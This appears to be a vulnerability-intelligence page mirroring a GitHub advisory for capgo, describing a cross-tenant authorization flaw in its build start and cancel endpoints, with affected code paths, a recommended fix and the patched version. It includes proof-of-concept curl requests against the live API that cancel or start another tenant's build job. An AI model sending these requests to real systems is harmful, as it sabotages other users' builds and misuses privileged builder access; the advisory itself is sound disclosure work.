llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · capgo

GHSA-72J4-9QP5-HFRG

Cross-tenant build job control (cancel/start) via jobId parameter enables build sabotage (BOLA)

Parche disponible
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión12.128.2
Exposición261 dDesde la divulgación, 3 mar 2026, 8:34 a. m.
Detección260 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
3 mar 26
18 nov 26
20 nov 26
3 mar 26
7 may 26
12 jul 26
15 sept 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-72J4-9QP5-HFRG divulgada
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
An authenticated user who has app.build_native permission for any app they control can invoke start and cancel actions against an arbitrary builder job by providing a victim jobId in the URL while supplying an app_id they are authorized for. The API does not verify that the jobId belongs to the provided app_id (or the same tenant/org) before issuing privileged builder commands using the server-held builder API key.

This allows cross-tenant build sabotage (DoS) and potentially unauthorized compute/billing actions.
### Details
Affected routes:

  • POST /build/start/:jobId (requires JSON body { "app_id": "<app>" })
  • POST /build/cancel/:jobId (requires JSON body { "app_id": "<app>" })

The handlers authorize based only on attacker-controlled app_id:
supabase/functions/_backend/public/build/start.ts

  • checkPermission(c, 'app.build_native', { appId }) is performed only for the supplied appId
  • then calls builder: POST ${BUILDER_URL}/jobs/${jobId}/start using BUILDER_API_KEY
  • no lookup/binding of jobId → build_requests.app_id / owner_org before the builder call

supabase/functions/_backend/public/build/cancel.ts

  • same pattern; calls builder: POST ${BUILDER_URL}/jobs/${jobId}/cancel using BUILDER_API_KEY
  • updates DB by .eq('builder_job_id', jobId) after builder action (RLS may fail, but the builder action already executed)

Route wiring (shows attacker-controlled app_id usage):

  • supabase/functions/_backend/public/build/index.ts routes /build/start/:jobId and /build/cancel/:jobId

### PoC
Prerequisite: attacker has a valid API key with app.build_native for their own app. The attacker also has/obtains a target jobId (e.g., from logs/support artifacts/screenshots/etc.).

Cancel arbitrary job

API="https://api.capgo.app"
KEY="<attacker_capgkey_with_build_permission>"
MY_APP="<attacker_app_id>"
JOB="<victim_or_other_job_id>"

curl -sk --http2 -i -X POST "$API/build/cancel/$JOB" \
  -H "capgkey: $KEY" \
  -H "content-type: application/json" \
  --data "{\"app_id\":\"$MY_APP\"}"

_Observed behavior (confirmed)_

- Returns HTTP/2 200 and JSON indicating cancellation:
<img width="732" height="233" alt="image" src="https://github.com/user-attachments/assets/fb8f71b0-8f05-45c5-a798-f151e84b8191" />

Start arbitrary job (builder reached)

API="https://api.capgo.app"
KEY="<attacker_capgkey_with_build_permission>"
MY_APP="<attacker_app_id>"
JOB="<victim_or_other_job_id>"

curl -sk --http2 -i -X POST "$API/build/start/$JOB" \
  -H "capgkey: $KEY" \
  -H "content-type: application/json" \
  --data "{\"app_id\":\"$MY_APP\"}"

_Observed behavior (confirmed)_

- Returns a builder_error that reflects builder state for the target jobId (e.g., job is expired, cannot start), demonstrating the API invoked the builder using the privileged builder API key.
<img width="864" height="296" alt="image" src="https://github.com/user-attachments/assets/2fbe86cd-96c6-41a0-b232-f43a89adb321" />

Impact
  • Cross-tenant DoS / sabotage: attackers can cancel other tenants’ active builds if they learn a jobId.
  • Unauthorized build control: attackers can trigger start attempts on jobs they do not own (builder is contacted and responds based on job state).
  • Potential cost/billing impact if builder actions are metered.
  • Potential side-channel: detailed builder errors may reveal job state.
Recommended Fix

Before calling builder start/cancel:

  1. Fetch build_requests row by builder_job_id = :jobId (server-side).
  2. Verify the row belongs to the same tenant and matches the request context:
  • build_requests.app_id === appId and/or build_requests.owner_org matches caller org
  1. If mismatch or missing row: return 404 (avoid leaking job existence).
  2. Consider removing client-supplied app_id entirely for start/cancel and deriving app_id from the build_requests row.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
capgo< 12.128.2
12.128.2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmcapgo
Corregida 12.128.2 — —
Versiones corregidas12.128.2
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/Cap-go/capgo.app/security/advisories/GHSA-72j4-9qp5-hfrg

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.